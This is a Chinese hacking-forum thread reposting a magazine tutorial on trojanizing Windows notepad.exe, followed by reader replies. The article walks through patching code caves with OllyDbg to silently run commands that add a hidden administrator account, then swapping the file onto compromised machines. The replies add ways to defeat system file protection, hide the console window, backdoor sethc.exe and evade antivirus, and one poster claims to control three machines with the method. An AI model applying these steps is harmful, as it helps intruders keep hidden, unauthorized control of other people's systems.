32 12
发新话题
打印

[原创]《黑客X档案》投稿文章《逆向工程打造隐蔽后门》

[原创]《黑客X档案》投稿文章《逆向工程打造隐蔽后门》

文章作者:孟方明[-273℃@EST](无敌最寂寞[E.S.T])
信息来源:《黑客x档案》


如果我现在问大家一个问题,入侵成功后我们该干什么?相信大家都会异口同声地回答:“装后门!”不错,为了保住胜利果实,我们总会四处寻找适合的后门。我们的要求并不过分——体积小、功能强大、隐蔽性强。然而前两个要求还是比较容易实现的,最让后门作者头疼也让使用者无奈的就是隐蔽性了。这次我给大家带来的就是另类的方法打造自己的隐蔽后门。

前置小知识
  在继续本前我们需要先了解点必要的知识.在WIN32下使用的文件格式都是PE文件格式。PE文件是一个平面地址空间,所有代码和数据都被合并在一起,组成一个很大的结构。文件内容被分割成不同的区块(section,又称区段、节等),块中包含代码或数据,各个块按页边界来对齐,块没有大小限制,是一个连续的结构。
每一个区块都有不同的名字,这个名字用来表示区块的功能。磁盘文件中每个区块的大小必定等于磁盘对齐值的整数倍,而区块的实际代码或数据的大小不一定刚好这么多,所以在不足的地方一般以0x00来填充,这就是区块的间隙。而对我们这篇文章来说,这就是关键。我们就是在这块间隙上做文章,这块间隙我们称做“dead space”。
另外一个我们需要注意的问题就是在汇编中我们可以直接这样来调用一个函数:
push 0
push "hello"
push "hello"
push 0
call user32.MessageBoxA

但是在机器码中我们不能直接push一个字符串,我们只能push这个字符串所在的地址。比如:
01007D80  . 68 65 6C 6C 6F>ASCII "hello",0
01007D86   00       DB 00
01007D87   00       DB 00
01007D88   00       DB 00
01007D89   00       DB 00
01007D8A   00       DB 00
01007D8B   00       DB 00
01007D8C   00       DB 00
01007D8D   00       DB 00
01007D8E   00       DB 00
01007D8F   00       DB 00
01007D90   6A 00     PUSH 0
01007D92   68 807D0001  PUSH notepad.01007D80          ;注意这里,我们push的是hello字符串所在的地址
01007D97   68 807D0001  PUSH notepad.01007D80         
01007D9C   6A 00     PUSH 0
01007D9E   E8 D3E6D276  CALL USER32.MessageBoxA

好了,需要提前了解的地方就这些,下面我们该进入正题了。
打造实战
先简单说一下我们的思路,寻找一个系统自带的文件,然后使用反汇编调试工具在其“dead space”中添加我们的后门代码,然后对目标文件进行必要的修改,使之运行的同时也运行我们的后门代码。下面我们以一个简单的实例为大家演示。目标文件我们定为系统自带的记事本上,为什么选择它呢?因为很多情况下大家会打开txt文档,而txt文档默认的关联程序正是记事本。
OK!下面准备好我们的主角 OllyDebug 1.10b 汉化版。选择“文件”→“打开”找到c:\windows\system32\notepad.exe(我使用的是xp系统,其它系统大同小异,下面所有过程均以xp为平台讲述),打开后如图一。

大家注意到我用红框框起的那个地址吗?它被反黑显示,把它记住,这个就是程序的入口点。拖动代码窗口的滚动条,直到找到如图二所示的一长串“00”的地方,这个就是我前面提到过的“dead space”,我们将在这里添加我们自己的代码。

为了直观起见,我们就让程序简单地实现添加一个后门管理帐户的功能。实现此功能我们可以直接编程实现(这样的方法是最好的,也是最隐蔽的),也可以使用系统自带的外部命令来实现比如net命令(这个方法最简单,但是在运行的时候会有个cmd窗口一闪而过,隐蔽性太差),由于我写本篇文章的目的是为了向大家介绍一种方法,所以我们就以最简单的net命令方法来介绍。OK!回到olly上来,找到了“dead pace”,我们随便找个地址如01007D76,鼠标左键单击然后向下拉选择一段(这里要注意的是你要选择足够多的空间来保存我们要输入的命令),然后右键菜单选择“二进制”→“编辑”如图三。

我们将在这里编辑我们要执行的命令“net user mfm /add”和 “net localgroup administrators mfm /add”。我们分开来保存这两个命令(当然你完全可以用“&&”把两个命令合成一个),如上图。确定后,出现如图五的情况。

似乎看不懂?没关系我们右键单击其代码然后选择“分析”→“分析代码”,或者直接按ctrl+A,如图六。

哈哈,这才是我们想要的嘛。记住它的起始地址01007D76,然后按照同样的方法添加第二条命令,最终添加的命令如图七。

同样记住第二条命令的起始地址01007D90。
要执行的命令都添加完了,下一步该是如何执行这些命令了。我们可以利用msvcrt.dll 中的system函数来执行我们的命令。一般我们都是这样使用system函数的:
引用:
#include <windows.h>   
void main(void)

{
    LoadLibrary("msvcrt.dll");
    system("net user mfm /add");
}
那么我就得先看看notepad.exe是否加载了msvcrt.dll,如果没有加载的话我们还需要添加加载动态连接库的代码.按下olly工具栏的"E"按钮或者直接按alt+E呼出模块可执行模块窗口,如图八.

看样子是加载了,我们可以直接使用system函数了.
下面我们再从那些空间中任意选一个地址比如01007DD0(记住这个地址),鼠标双击该地址所在行的"DB 00"处或者直接按空格,调出汇编编辑窗口. 然后将保存我们要执行的第一条指令的地址压入堆栈,如图九.

然后依次写入如下指令:
复制内容到剪贴板
代码:
01007E93   E8 AC01BF76  CALL msvcrt.system  ;因为已经加载了msvcrt.dll,所以我可以直接调用
01007E98   68 907D0001  PUSH notepad.01007D90 ;这个地址就是我先前让大家保存的第二条命令的起始地址
01007E9D   E8 A201BF76  CALL msvcrt.system
输入结果如图十。

下面我要回到程序的入口处,右键单击任意代码处然后选择"前往"→"起源"回到程序入口处.现在我就要修改入口处的代码了,我们将其替换成一个跳转指令,跳到我们的执行代码处,这样就可以执行我们的代码了.我们首先从入口处的代码往后多选几行然后右键选择"复制"→"到剪切板"把这几行代码备份一下(为什么要备份呢?因为我们不知道在修改代码的时候会覆盖掉哪些代码,所以我们就备份一下那几行),然后粘贴到记事本里.如图十一.

OK!我们来修改代码吧,双击入口处的"PUSH 70",出现汇编窗口,然后修改成"JMP 01007DDO"(这个地址熟悉吗?什么?忘了?仔细看看上面),确定后如图十二所示.

在"JMP 01007DD0"代码上直接按回车或者选择右键菜单中的"跟随",看看是不是跳到我们的代码处了?这样当程序运行的话,一进入入口点就会跳转到我们的代码,但是这样看来notepad.exe是不能正常运行了,因为跳转到我们的代码后就不会再去执行notepad.exe的代码了.这不是不打自招吗?那么我们还要继续修改,使它能执行完我们的代码后再继续去执行notepad的代码.
我们找出先前我们备份的那段代码,对照着修改后的那些代码,不难发现修改后的代码把先前代码的以下两行给覆盖了,其它的完全一样:
复制内容到剪贴板
代码:
01006AE0 > $ 6A 70     PUSH 70
01006AE2  . 68 88180001  PUSH notepad.01001888
那就好办了,我们只要在我们要执行代码的后面把以上两行添加上,然后再添加一条跳转指令,跳回到入口处的未修改代码处,这样就会继续执行notepad.exe了。说干就干,先将覆盖的代码添加好,如图十三。

然后回到程序入口处,记住第二个NOP指令的地址(第一个NOP指令也可以,就是不要用那个入口地址,否则就成了个死循环了)01006AE6。然后再回到我们要执行的指令处,在其末尾添加一行“JMP 01006AE6”,最终的完成代码如图十四。


代码我们都写好了,下面我们将修改后的程序dump到一个新的可执行文件里。如下操作:右键任意代码处选择“复制到可执行文件”→“全部修正”,如图十五。

在弹出的对话框中选择“全部复制”,然后会出现一个新的窗口,关闭这个窗口,会提示你是否保存,选择“是”出现保存文件对话框如图十六,保存后就大功告成了。


运行一下看看,屏幕闪了两次cmd窗口后记事本弹了出来(5555555,不能动态抓图,所以无法给大家展示这瞬间的美丽了~~~)。用net user看后,确实添加了一个管理员帐户mfm。实验成功!

总结
如果你仔细点,会发现修改后的notepad和先前的那个大小依然一样。这是因为我们所添加的那些代码本身就是在notepad自身空间内的。将上面修改后的notepad.exe覆盖肉鸡上的notepad.exe,只要他打开文本文件或者直接运行记事本都会先添加一个mfm帐户了。当然了,我添加的那些代码并不实用,弹出的cmd窗口会非常显眼而引起怀疑。我们可以进一步优化这些代码,甚至添加一个开端口或者反向连接的后门都可以(只要宿主程序“dead space”足够大就可以)。
  可想而知,谁会去注意一个看上去是那么正常的程序呢?而实际上这个程序确实已经被我们修改过了。这篇文章作为一个思路给大家,剩下的就靠大家去发挥了。有问题的读者可以去X论坛讨论。

这个文章发出后,又很多读者都向我提出了很多问题。在此我感谢支持我的朋友们,本篇文章是在xp下实践成功的。在其他系统都大同小异,留给大家一个想象的空间。欢迎大家继续关注我将在x档案第三期发表的《逆向工程打造免杀后门》。
俺是mika!别叫错了! 俺的QQ:794773 http://hi.baidu.com/stealthwalker/ my private area ------------------------------------------------------------ <a href=http://hi.baidu.com/stealthwalker target=_blank></a>

TOP

to build a perfect program with reverse engineering,we must consider of many aspects.to avoid restrictions from OS platforms,we must pay more attention to universality.
to be precise,we should avoid to call a function with it&#39;s fixed address.&#39;Cause it&#39;s fixed address may not work in any other system platforms(i mean compatibility).to avoid that,we can use LoadLibrary and GetProcAddress to locate other functions.

do you understand what i&#39;m trying to tell you?

enjoy it!
俺是mika!别叫错了! 俺的QQ:794773 http://hi.baidu.com/stealthwalker/ my private area ------------------------------------------------------------ <a href=http://hi.baidu.com/stealthwalker target=_blank></a>

TOP

我看这篇文章很不错,就是时间过去了很长时间,里面没有对应的图片显示,能不能重新整理再发一遍啊,谢谢啊!

TOP

Windows文件保护也不是好惹的,就连QQ也有程序完整性检查,找一个合适的宿主,不太容易。

TOP

这个文章N老了哦~~

找宿主文件还是比较简单的`` 比如肉鸡上装了serveru就弄serveru咯
主要是如果管理员备份了md5验证就麻烦了`~(不过这么强的管理员应该少见吧。。

TOP

我发现将修改后的notepad.exe覆盖到system32后,系统又会将一个备份的程序拷贝过来了,这样根本不能实现启动了!
不知怎么样破解程序完整性了??

TOP

文章老不一定不管用啊,呵呵~~~比如前些日子闹的沸沸扬扬的sethc后门,完全可以把它的sethc.exe下载下来,然后按照上面文章讲的方法加上自己的东西,然后再替换回去,记得要同时替换dllcache里面的。
俺是mika!别叫错了! 俺的QQ:794773 http://hi.baidu.com/stealthwalker/ my private area ------------------------------------------------------------ <a href=http://hi.baidu.com/stealthwalker target=_blank></a>

TOP

这种文章完全是顾头不顾尾.(骗稿费?)
根本没有考虑系统文件保护的问题.

TOP

引用:
引用第7楼andds于2007-11-15 12:28发表的 :
这种文章完全是顾头不顾尾.(骗稿费?)
根本没有考虑系统文件保护的问题.
你觉得用考虑吗?
当你有权限给这个系统种后门,那么你就有权限将dllcache内的文件也一起替换.另外还有很多办法,你是不是没有看文章就下结论了呢?(骗回贴?)
根本没有考虑楼主文章的环境问题.
哎.

TOP

文件保护的问题,自己不会解决么,BS楼上那几个。
文章的思路,你理解了就好了。
个人觉得,可以再加点pe文件结构的讲解

TOP

我尝试去修改ie,可以成功运行我想执行的命令,但之后系统出现了异常,怎么描述呢,有点花屏和迟钝的感觉

TOP

另外我成功修改记事本之后,打开r任意一个文本文档并不会执行我想要执行的命令,只有运行notepad.exe的时候才会执行

TOP

引用:
引用第8楼sunwear于2007-11-15 12:53发表的 :

你觉得用考虑吗?
当你有权限给这个系统种后门,那么你就有权限将dllcache内的文件也一起替换.另外还有很多办法,你是不是没有看文章就下结论了呢?(骗回贴?)
根本没有考虑楼主文章的环境问题.
哎.
你真的了解WINDOWS的系统文件保护吗?
如果连dllcache中文件也替换了的话,会弹出提示框的.
老实讲,WINDOWS的安全性是很高的,特别是VISTA系统,这种文章根本就不实用.
当然你可以注入到WINLOGON中关闭保护功能,但过不了主动防御的.

TOP

引用:
引用第11楼un_dead于2007-11-18 07:19发表的 :
另外我成功修改记事本之后,打开r任意一个文本文档并不会执行我想要执行的命令,只有运行notepad.exe的时候才会执行
这个问题我粗心了,我事先是从c:\windows\notepad.exe这个位置把它拷出来进行修改的,而不是修改的原文件

TOP

小菜认为,一个粘贴键,加IIS 权限设置,边上的站点撒点权限.足矣

TOP

引用:
引用第12楼andds于2007-11-18 15:36发表的 :

你真的了解WINDOWS的系统文件保护吗?
如果连dllcache中文件也替换了的话,会弹出提示框的.
老实讲,WINDOWS的安全性是很高的,特别是VISTA系统,这种文章根本就不实用.
当然你可以注入到WINLOGON中关闭保护功能,但过不了主动防御的.
至少我在windows 2003和windows 2k 上做同时替换dllcache和系统目录文件的时候都没反映.
假设如你所说,即使有的话,当你有足够的权限还在乎文件保护吗?显然这个机制在最高权限下是不堪一击的.这在历史上不知讨论了多少遍.
并且文章是2005年2月写的.当年vista有那么普及吗?即使是现在也没普及到这个地步.
最主要的文章针对的并非用户机器,而是作为给服务器留后门的手段,vista不是取代2003的版本,你还是没明白环境二字代表什么意思?

TOP

实践出真理,呵呵,什么是文件保护啊?没看到我说的dllcache里面的也要替换吗?我有3个肉鸡使用了这种方法控制着,还没发现怎么滴呢。原先那种直接找个cmd.exe或者写个bat然后转成exe的方法不是不行,但是文件大小会变的。我说的这种方法在一般是不会更改文件大小的(除非你加了区段等等)不知道那个andds老大有没有测试过就上来妄加评论啊,如果你连测试都没测试就跑上来一通胡叨叨,那首先证明:一、你不适合搞技术,妄加断言,无任何事实基础上的评论是不应该出自一个严谨的技术工作从事者的嘴里;二、证明你是一个SB,在sunwear第一次反驳你后你居然还没去测试,又跑上来胡叨叨,证明你确实是个SB。

PS:我的号密码被mika改掉了,还没来得及要,所以先用她的了。
我的部落格:http://www.mikwawa.cn/

TOP

引用:
引用第15楼sunwear于2007-11-19 09:27发表的 :


至少我在windows 2003和windows 2k 上做同时替换dllcache和系统目录文件的时候都没反映.
假设如你所说,即使有的话,当你有足够的权限还在乎文件保护吗?显然这个机制在最高权限下是不堪一击的.这在历史上不知讨论了多少遍.
并且文章是2005年2月写的.当年vista有那么普及吗?即使是现在也没普及到这个地步.
.......
请问怎么实现隐藏运行,插入运行cmd命令会跳出来,太容易被发现了

TOP

如果你不懂win32编程的话,可以用批处理来实现,写好一个批处理后,用batch file compiler编译成exe文件,在编译的时候选择无窗口运行,那么就可以了。
懂编程的话就更简单了,这么多高手在这里,俺就不多说么了
我的部落格:http://www.mikwawa.cn/

TOP

为什么不调用WinExec函数来完成指令调用呢~~
那样不就连cmd都不闪了
这样写(我没学过只是觉得这样会很好)
push (ascii的指令)
call WinExec
jmp oep
然后把我们的push (ascii的指令)设置成入口点就好了

不知道我说的对不对

TOP

看不懂...只能看懂call Api
唉~太菜...LoadLibraryA不错(使用自己构造的会更有激情...就是载入了DLL你也看不到吼吼~)

在PE空间找00未必是个好方法虽然说隐蔽性好一点
但是一般情况下不见得有那么多00给你塞你的hex
一般是用组合方式。。。1段,2段中间用jmp

扩展方法也就是那两种了
添加新节
扩展最后一个节
要不?您来个绝的?

TOP

怎么有人会提到文件保护呢??
  当你有这个权限破文件保护不是很简单吗??
这种问题我看不是作者没考虑到,而是不值一提
艰苦终将成为过去,因为我一直在努力

TOP

在cmd里插入后门不就没黑窗口弹出吗?
另外楼主的后面几步有点麻烦了,我们做免杀的时候经常要用到这种方法:
后门代码写好了直接跳到原入口!再用loadpe修改原入口为后门代码的起始地址!
这样是不是简单多了 嘿嘿!
不知道行不行?

TOP

文章很多时候就是一个思路问题
就像搭积木一样
所以不要太苛求了

TOP

引用:
引用第20楼Anskya于2007-11-23 15:00发表的 :
看不懂...只能看懂call Api
唉~太菜...LoadLibraryA不错(使用自己构造的会更有激情...就是载入了DLL你也看不到吼吼~)

在PE空间找00未必是个好方法虽然说隐蔽性好一点
但是一般情况下不见得有那么多00给你塞你的hex
.......
流.可否?
阿尔卑斯与八宝糖还有冷苹果

TOP